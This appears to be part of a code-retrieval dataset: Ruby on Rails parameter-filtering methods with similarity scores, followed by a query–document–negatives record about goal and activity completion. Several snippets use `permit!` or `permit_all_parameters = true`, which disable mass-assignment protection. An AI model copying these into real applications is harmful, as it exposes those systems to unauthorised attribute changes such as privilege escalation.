:password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
progress goal see for testing if an internal or external goal
def is_internal? return (self.goal_type % 2) == 1 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_valid_for_execution\n (@metadata[\"short_dest_repo_name\"] == \"osrf/gazebo\" and @pr_status == :update) ? false : true\n end", "def in_progress?\n return false unless status\n status.match(/^Generated on/).nil?\n end", "def calculate_and_change_status\n return @status.not_a_plan! if !task.basis_plan?\n return @status.singular! if task.singular_basis_matrix?\n return @status.optimal! if task.sufficient_for_optimal?\n return @status.unlimited! if task.positive_z_index == nil # if z <= 0, target function is unlimited\n @status.step_completed!\n end", "def running_test_step; end", "def work_in_progress\n has_wip_label = danger_file.github.pr_labels.any? { |label| label.include? 'WIP' }\n has_wip_title = danger_file.github.pr_title.include? '[WIP]'\n\n danger_file.warn('PR is classed as Work in Progress') if has_wip_label || has_wip_title\n end", "def test_ut_t4_mtv_pu_002\n pj = Pj.find(3)\n assert_equal FALSE, pj.has_analyzed_task?\n end", "def inform_goal_of_new_contribution\n self.goal.check_for_completion!(self.goal_participant)\n end", "def passed?; end", "def passed?; end", "def passed?; end", "def check_project\n return if project.dataset_names.empty?\n return unless project.done_preprocessing?(false)\n to_run = project.next_distances(true)\n to_run = project.next_inclade(true) if to_run.nil?\n queue_job(to_run) unless to_run.nil?\n end", "def passing?\n completed? && !has_failures? && !has_errors?\n end", "def in_progress?\n progressconditions.any?(&:met?)\n end", "def is_active(effort)\n if effort.deliverable and effort.deliverable.project_phase and effort.deliverable.project_phase.project\n return effort.deliverable.project_phase.project.status == 'Active'\n end\nend", "def pending?; end", "def Goal(conditions)\r\n\t\t@goal = conditions\r\n\t\t@open_preconditions = @goal\r\n\tend", "def passed?\n !failed?\n end", "def incomplete\n puts \"not a feature of GoalTracker\"\n end", "def check_progress\n if self.can_check_progress\n on_db :adage do\n self.completed = !AdaData.with_game(self.name).where(user_id: self.user_id).last.nil?\n self.save\n end\n end\n return self.completed\n end", "def pri_goal_percentage\n shots_on_goal > 0 ? goals.to_f / shots_on_goal : 1.0\n end", "def progressable; end", "def passed?\n !failed?\n end", "def test_ut_t4_mtv_pj_001\n pj = Pj.find(1)\n assert_equal TRUE, pj.has_analyzed_task?\n end", "def private_goal(user)\n create_goal(\"Learn to paint\", \"true\")\n create_goal(\"Play the piano\")\n click_link 'Sign Out'\n other_user(user)\n click_link 'Wilbur'\n end", "def passing?\n return false if self.test_executions.empty?\n \n most_recent_execution = self.ordered_executions.first\n return !most_recent_execution.nil? && most_recent_execution.passing?\n end", "def in_progress?\n @in_progress\n end", "def in_progress?\n @in_progress\n end", "def task_for_project_leaders\n return @_action_name == \"index\" || @_action_name == \"edit\" || @_action_name == \"new\" || @_action_name == \"create\"\n end", "def target; true; end", "def external_test_runs_passed_for?(test_type)\n test_types = ExternalTestType.get(test_type).with_related_types\n current_runs = current_external_test_runs_for(test_types)\n current_runs.any? && current_runs.all?(&:passed_ok?)\n end", "def running_test_case; end", "def check_progress\n succeed(self) if finished?\n end", "def any_status_hook\n repo = params[:name]\n link = \"https://github.com/#{repo}\"\n sha = params[:sha]\n state = params[:state]\n context = params[:context]\n description = params[:description]\n target = params[:target_url]\n\n return if state == 'pending' || (state == 'success' && context == 'github/pages')\n\n if repo == 'Charcoal-SE/metasmoke' && context.start_with?('ci/circleci')\n ci_counter = Redis::CI.new(sha)\n if state == 'success'\n ci_counter.sucess_count_incr\n return unless ci_counter.sucess_count == 3\n context = 'ci/circleci'\n else\n ci_counter.sucess_count_reset\n end\n end\n\n message = \"[ [#{repo.sub('Charcoal-SE/', '')}](#{link}) ]\"\n message += \" #{context} \"\n message += if target.present?\n \"[#{state}](#{target})\"\n else\n state\n end\n message += \" on [#{sha.first(7)}](#{link}/commit/#{sha.first(10)})\"\n message += \": #{description}\" if description.present?\n\n ActionCable.server.broadcast 'smokedetector_messages', message: message\n end", "def check_goal_status_for(current_user)\n if self.goal_achieved_for(current_user)\n \n self.update_attributes(:goal_achieved => true,\n :goal_id_achieved => current_user.current_goal.id)\n \n current_user.current_goal.update_attributes(:achieved_at => Time.now,\n :current => false)\n\n end\n end", "def pass(_)\n @passed = true\n @done = true\n end", "def check_mint_progress\n\n return success if @from_page[:by_screen_name] != GlobalConstant::GoTo.token_mint[:by_screen_name] &&\n @from_page[:by_screen_name] != GlobalConstant::GoTo.token_mint_progress[:by_screen_name]\n\n if @mint_workflow.present? &&\n (@mint_workflow.status == GlobalConstant::Workflow.in_progress || @mint_workflow.status == GlobalConstant::Workflow.failed)\n\n @go_to = GlobalConstant::GoTo.token_mint_progress\n\n else\n\n @go_to = GlobalConstant::GoTo.token_mint\n\n end\n\n success\n\n end", "def goalNode?(node)\n node.name == 'Goal'\nend", "def new_expert?\n project_tasks.where(status: 'finished').count <= 1\n end", "def finish_step?\n return !goto_true && !goto_false\n end", "def goals_against(club)\n if finished?\n if club == local\n return guest_goals\n end\n\n if club == guest\n return local_goals\n end\n end\n\n 0\n end", "def progress(status)\n #For each SUT\n $sut.each do |ip, sut|\n #We check the status that we determined earlier,\n #depending on it we call the progress functions\n if status[ip]['status'] == 'Autotest'\n autotestprogress(status, sut, ip)\n elsif status[ip]['status'] == 'Stability'\n stabilityprogress(status, sut, ip)\n elsif status[ip]['status'] == 'CanWakeupTest'\n status[ip]['progress'] == 'Not implemented'\n elsif status[ip]['status'] == 'Manual'\n #If the test is manual, we just say it is not implemented yet. Do not know if it ever will,\n #because it is kind of impossible to know where manual test results will be saved.\n status[ip]['progress'] = 'Not implemented'\n elsif status[ip]['status'] == \"Idle\"\n latest = `ls -td #{$autotestpath}#{sut[:name]}*/ | head -n 1`[0...-1]\n latest = `ls -td #{latest}2017*/ | head -n 1`[0...-1]\n failed = `find #{latest} -name *TestRun.txt`[0...-1]\n if failed == '' && latest != ''\n status[ip]['progress'] = \"Last test failed to proceed\"\n status[ip]['progresscolor'] = \"color:red;\"\n else\n #Idle will be shown as empty in progress tab\n status[ip]['progress'] = ' '\n status[ip]['progresscolor'] = \"color:white;\"\n end\n end\n end\nend", "def step_completed?\n !object.waiting_on.include?(scope)\n end", "def test_ut_t4_mtv_pu_002\n pu = Pu.find(2)\n assert_equal FALSE, pu.has_analyzed_task?\n end", "def passes; end", "def passes; end", "def goal\n 28\n end", "def should_advance_work?\n get_configuration 'auto_advance_work', @work_type_config.dig('hydra_endpoint', 'workflow_actions'), @config.dig('workflow_actions')\n rescue\n true\n end", "def test_step; end", "def step_result; end", "def in_progress?\n self.status == 'active'\n end", "def in_progress?\n self.status == 'active'\n end", "def status\n return \"Passed\" if self.passed?\n return \"Failed\" if self.failed?\n return \"Not Run\"\n end", "def result_of_checking; end", "def in_progress? \n self.status_sym == :in_progress\n end", "def ran?\n completed? || failed?\n end", "def progress(activity)\n action = activity[:request_type]\n\n if %w[cancel_scheduled_publishing publish].include?(action)\n ScheduledPublisher.cancel_scheduled_publishing(edition.id.to_s)\n end\n\n if invalid_fact_check_email_addresses?(activity)\n self.status_message = fact_check_error_message(activity)\n false\n elsif actor.progress(edition, activity.dup)\n if activity[:request_type] == \"schedule_for_publishing\"\n ScheduledPublisher.enqueue(edition)\n end\n self.status_message = success_message(action)\n true\n else\n self.status_message = failure_message(action)\n false\n end\n end", "def external?(cb)\n node.run_state['not_external_pipeline'] ||= []\n if node.run_state['not_external_pipeline'].empty?\n delivery_api(:get, 'orgs')['orgs'].each do |org|\n delivery_api(:get, \"orgs/#{org['name']}/projects\").each do |project|\n node.run_state['not_external_pipeline'] << project['name']\n end unless org['name'].eql?('external')\n end\n end\n !node.run_state['not_external_pipeline'].include?(cb)\nend", "def stepOpen stepLabel\n step = findStepIndex(stepLabel)\n if @stepProgress[step][:open]\n true\n else\n #skip tests\n false\n end\n end", "def request_provision(goal)\n\t\treturn if goal.class.artifact().nil?\n\t\t# Note call up to controller layer!\n\t\tbroadcast_to_channel(Rails.application.routes.url_helpers.new_goal_artifact_path(goal.id))\n\tend", "def find_a_home?\n return \"INPROC\" if build_your_team? == \"DONE\"\n nil\n end", "def succeeded?; state == 'succeeded'; end", "def succeeded?; state == 'succeeded'; end", "def past_step_1?\n status_is_active?(\"base_details\")\n end", "def meets_requirement?(activity)\n if activity.steps?\n activity.steps >= activity_amount\n else\n false\n end\n end", "def main_goal()\n # TODO: replace naive implementation\n return goals.values.first\n end", "def in_progress?\n result.nil?\n end", "def can_be_online\n nb_prob = 0\n can_online = true\n @virtualtest.problems.each do |p|\n can_online = false if !p.online?\n nb_prob = nb_prob + 1\n end\n redirect_to virtualtests_path if !can_online || nb_prob == 0\n end", "def show\n calculate_progress\n ##complete_goal\n end", "def passed?\n voting? && has_met_requirement?\n end", "def should_finish?\n should?('never_finish')\n end", "def in_progress?\n allowed_page?\n end", "def is_offensive?\n self.status == 1\n end", "def in_test\n @t = @problem.virtualtest\n return if check_nil_object(@t)\n redirect_to virtualtests_path if current_user.sk.test_status(@t) != \"in_progress\"\n end", "def completed?(step)\n case step\n when :begin\n true\n when :waiver\n @player.signed_waiver?\n when :squad\n @player.joined_squad?\n when :off_campus\n [email protected]_campus.nil?\n when :confirm\n true\n when :done\n @player.registered == true\n end\n end", "def generic_recipe_step\n puts \"On it!\"\n print_progress_bar\nend", "def generic_recipe_step\n puts \"On it!\"\n print_progress_bar\nend", "def generic_recipe_step\n puts \"On it!\"\n print_progress_bar\nend", "def step\n log_iteration_start\n\n\n @current_task = tasks_list.shift\n status.no_tasks! and return unless current_task #empty tasks list\n\n solve_current_task\n\n return unless current_basis_plan # no optimal plan, so we don't change record and continue\n\n if current_target_function <= record # not interested as previsous record is higher\n status.target_less_than_record!\n elsif task.satisfies_integer?(current_basis_plan)\n change_record\n else\n split_current_task\n end\n log_status\n end", "def test_ut_t4_mtv_pu_001\n pu = Pu.find(1)\n assert_equal TRUE, pu.has_analyzed_task?\n end", "def has_run?\n @passed != nil\n end", "def test_not_run?(test_case)\n test_case[:exec_status] == 'n'\n end", "def goal_reached?(goal)\n if goal.moments.sum(:moment_value) >= goal.goal_value\n true\n else\n false\n end\n end", "def report_test_result success, msg\n if(success)\n print_success msg\n else\n print_error msg\n end\nend", "def hook_solution?(a); end", "def requires_external_tests_for_qe?\n required_external_tests_for_transition(:from => 'NEW_FILES', :to => 'QE').any?\n end", "def indicate_progress\n end", "def prescriptively_ok?\n acceptance & PRESCRIPTIVE == PRESCRIPTIVE\n end", "def in_progress?\n transitive_states.include? status\n end", "def progress; end", "def progress; end", "def progress; end", "def progress; end", "def progress; end", "def comp_noncomp_past_step_1?\n !spectator? && status_is_active?(\"base_details\")\n end", "def approvable?\n (!current_stage.nil? &&\n current_stage.stage.eql?('verify') &&\n current_stage.status.eql?('passed') &&\n !AutomateSoup.url.nil? &&\n !AutomateSoup.credentials.nil? &&\n !links.nil? &&\n !links['approve'].nil? &&\n !links['approve']['href'].nil?)\n end", "def test_that_foreign_robot_needing_repairs_sent_to_station_1\n skip\n # arrange\n # happened in setup\n # act\n actual_value = @robot.needs_repairs && @robot.foreign_model\n # assert\n expected_value = true\n assert_equal(actual_value, expected_value)\n end", "def goal(desc)\n\t\t\[email protected] = desc.to_s.strip\n\t\tend", "def covered?; end", "def deliverable?\n (!current_stage.nil? &&\n current_stage.stage.eql?('acceptance') &&\n current_stage.status.eql?('passed') &&\n !AutomateSoup.url.nil? &&\n !AutomateSoup.credentials.nil? &&\n !links.nil? &&\n !links['deliver'].nil? &&\n !links['deliver']['href'].nil?)\n end", "def build_your_team?\n return \"DONE\" if (set_budget? == \"DONE\") && (user.team.has_leadplace_agent?) \n return \"INPROC\" if (set_budget? == \"DONE\") && (!user.team.has_leadplace_agent?)\n return nil\n end" ]
[ "0.60204583", "0.5907031", "0.5829508", "0.5744864", "0.5739279", "0.5726153", "0.5700277", "0.568418", "0.568418", "0.568418", "0.56838703", "0.567169", "0.56065136", "0.5596979", "0.5580879", "0.5560432", "0.5547503", "0.5541333", "0.5537678", "0.5529024", "0.5528989", "0.55264866", "0.55226773", "0.5519033", "0.55067605", "0.55028844", "0.55028844", "0.54988706", "0.54944634", "0.5491612", "0.54829586", "0.54809046", "0.5474853", "0.5463757", "0.546241", "0.54578733", "0.54575306", "0.5451608", "0.545146", "0.54502845", "0.54501045", "0.5448945", "0.54405874", "0.543922", "0.543922", "0.543142", "0.542181", "0.54209274", "0.5420047", "0.5417978", "0.5417978", "0.5417586", "0.54153794", "0.53926307", "0.53917253", "0.53901565", "0.5388105", "0.5384643", "0.5380633", "0.53725123", "0.53720796", "0.53720796", "0.5369953", "0.5361483", "0.5360574", "0.53496855", "0.53484666", "0.53423244", "0.53384054", "0.531744", "0.53151536", "0.5314272", "0.5310046", "0.53042597", "0.5301733", "0.5301733", "0.5301733", "0.5301075", "0.5296843", "0.5284016", "0.52797776", "0.5276167", "0.5273986", "0.5258899", "0.5254392", "0.52532816", "0.5238045", "0.52372414", "0.5235162", "0.5235162", "0.5235162", "0.5235162", "0.5235162", "0.5226842", "0.5221272", "0.52210724", "0.52199584", "0.5219592", "0.52015084", "0.5198593" ]
0.62596583
0
if internal then checks all children, if external then returns state
def is_complete? if is_internal? old_state= self.state # hold old state to see if changed if self.children.empty? return self.state == Activity::COMPLETE # no children else self.children.each do |child| if !child.is_complete? if self.expiration_date.nil? or self.expiration_date >= Date.current self.state = Activity::INCOMPLETE else self.state = Activity::EXPIRED end self.completed_date = nil self.save! if !self.parent.nil? and old_state != self.state self.parent.is_complete? end return false end end if self.state != Activity::COMPLETE self.state = Activity::COMPLETE self.completed_date = DateTime.current if !self.parent.nil? self.parent.is_complete? end self.save! end return true end else return self.state == Activity::COMPLETE end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def child_check\n if @children.nil? or @children.empty?\n get_children unless @already_fetched_children\n @already_fetched_children = true\n end\n end", "def children\n child_check\n super\n end", "def check_if_has_children\n self.lookups.count == 0\n end", "def any_child_open?\n self.children.each do |e|\n return true unless e.completed\n end\n false\n end", "def children_exist?\n\tend", "def children?\n self.children.any?\n end", "def has_children?\n self.children.size > 0 \n end", "def has_children?\n self.children.size > 0 \n end", "def has_children?\n self.children.size > 0 \n end", "def has_children?\n self.children.size > 0 \n end", "def leaf?\n persisted? && if children_counter_cache_column\n self[children_counter_cache_column] == 0\n else\n children.count == 0\n end\n end", "def leaf?\n self.children.size == 0\n end", "def children?\n !children.empty?\n end", "def leaf?\n record.persisted? && if children.loaded? || tree.columns.counter_cache?\n # no SQL-queries here\n children.empty?\n else\n !children.exists?\n end\n end", "def has_children?\n self.children.size > 0\n end", "def has_children?\n self.children.size > 0\n end", "def has_children?\n self.children.size > 0\n end", "def has_children?\n self.children.size > 0\n end", "def leaf?; false end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def has_children?\n self.children.any?\n end", "def child_of?(parent); end", "def leaf?\n children.empty?\n end", "def has_children?\n !self.children.empty?\n end", "def have_children?\n children.count != 0\n end", "def has_children?\n !leaf?\n end", "def leaf?\n children.where(parent_id: self.id).empty?\n end", "def has_children?\n false\n end", "def leaf?\n @children.length.zero?\n end", "def child_condition; end", "def unknown?\n !root? && !child?\n end", "def unknown?\n !root? && !child?\n end", "def unknown?\n !root? && !child?\n end", "def has_children?\n children.size > 0\n end", "def has_children?\n children.size > 0\n end", "def leaf_version?\n\t\treturn self.child_versions.empty?\n\tend", "def children?\n !children.empty?\n end", "def children?\n !children.empty?\n end", "def leaf?\n @children.empty?\n end", "def children?\n [email protected]?\n end", "def leaf?; @leaf; end", "def child?\n false\n end", "def has_children?\n children.any?\n end", "def leaf?\n true\n end", "def valid?\n ((ca.cached_amount >= ca.sum_of_children) ||\n (ca.sum_of_children == 0 && children.empty?)) &&\n children.detect{|node| node.valid? == false} == nil # should be explicitely nil !!\n end", "def children_are_leaves?\n unless leaf?\n @children[0].leaf?\n end\n end", "def all_children\n children(all: true)\n end", "def parent_check\n # If the parent has a parent, check that\n if parent.parent\n _, _, st = parent.parent_check\n else\n st = parent.status\n end\n\n raise error_message(st) if st && st.failed?\n\n if st && st.completed?\n # Execute the callback\n retval = callback.call(st)\n self.parent = nil\n self.callback = nil\n # If the retval is NOT a future, we've reached the bottom of the chain - return it\n return [true, false, retval] unless retval.is_a? Resque::Plugins::Status::Future\n # If the retval is a future, set our id and continue\n self.id = retval.id\n end\n [false, false, nil]\n end", "def children_with_results\n children.select(&:any_results_including_children?)\n end", "def for_tree_nodes(tree_nodes, check_root_record = true)\n return {} if tree_nodes.empty?\n assert_same_type!(tree_nodes)\n\n # E.g. ArchivalObject\n node_model = tree_nodes[0].class.node_model\n\n # E.g. Resource\n root_model = tree_nodes[0].class.root_model\n\n # Initialize our result map to true -- assuming \"published\" by default.\n result = Hash[tree_nodes.map {|node| [node, true]}]\n\n if check_root_record\n # If we're the top-level call, we'll check the repository and root\n # record's publication status. There's no point doing this at every\n # level of the tree, but do it up front to save some potential work.\n root_record_id_to_child = {}\n tree_nodes.each do |node|\n if repository_published?(node[:repository_id])\n root_record_id_to_child[node.root_record_id] ||= []\n root_record_id_to_child[node.root_record_id] << node\n else\n result[node] = false\n end\n end\n\n return result if root_record_id_to_child.empty?\n\n root_model\n .filter(:id => root_record_id_to_child.keys)\n .filter(Sequel.|({:publish => 0},\n {:suppressed => 1}))\n .select(:id)\n .each do |root_record|\n root_record_id_to_child.fetch(root_record.id).each do |node|\n result[node] = false\n end\n end\n end\n\n parent_id_to_child = {}\n tree_nodes.each do |node|\n if result[node] && node.publish == 1 && node.suppressed == 0\n # OK so far, but check the ancestors.\n if node.parent_id\n parent_id_to_child[node.parent_id] ||= []\n parent_id_to_child[node.parent_id] << node\n end\n else\n # Unpublished/suppressed. Nothing more to check.\n result[node] = false\n end\n end\n\n unless parent_id_to_child.empty?\n parent_ids = parent_id_to_child.keys\n parent_publication_status = for_tree_nodes(node_model.filter(:id => parent_ids)\n .select(:id, :parent_id, :root_record_id, :publish, :suppressed)\n .all,\n false)\n\n parent_publication_status.each do |parent, published|\n # If the parent was unpublished, that overrides our previous result.\n parent_id_to_child.fetch(parent.id).each do |node|\n result[node] &&= published\n end\n end\n end\n\n result\n end", "def has_children?\n !children.empty?\n end", "def child?\n !root?\n end", "def child?\n !root?\n end", "def children?\n\t\t\t@children && [email protected]?\n\t\tend", "def has_children()\n return 1 if(@children.length > 0)\n 0\n end", "def child?\n true\n end", "def has_children?\n children.size > 0\n end", "def has_children?\n children.size > 0\n end", "def children?\n\t\t\[email protected] > 0 ? true : false\n\t\tend", "def is_valid?\n leaf_nodes = each_leaf\n leaf_nodes.map(&:is_closed?).reduce(&:&)\n end", "def preserve_children?\n false\n end", "def focusable?\n @children.any?\n end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def children; end", "def visible_navigation_children\n children.select { |c| c.published? and c.display_in_navigation? }\n end", "def is_complete?\n if self.state == COMPLETE\n self.children.each do |child|\n if !child.is_complete?\n return false\n end\n end\n return true\n\n else\n return false\n end\n end", "def remotely_useful?; self_owned? && remote_siblings.size > 1 end", "def child?\n !root?\n end", "def 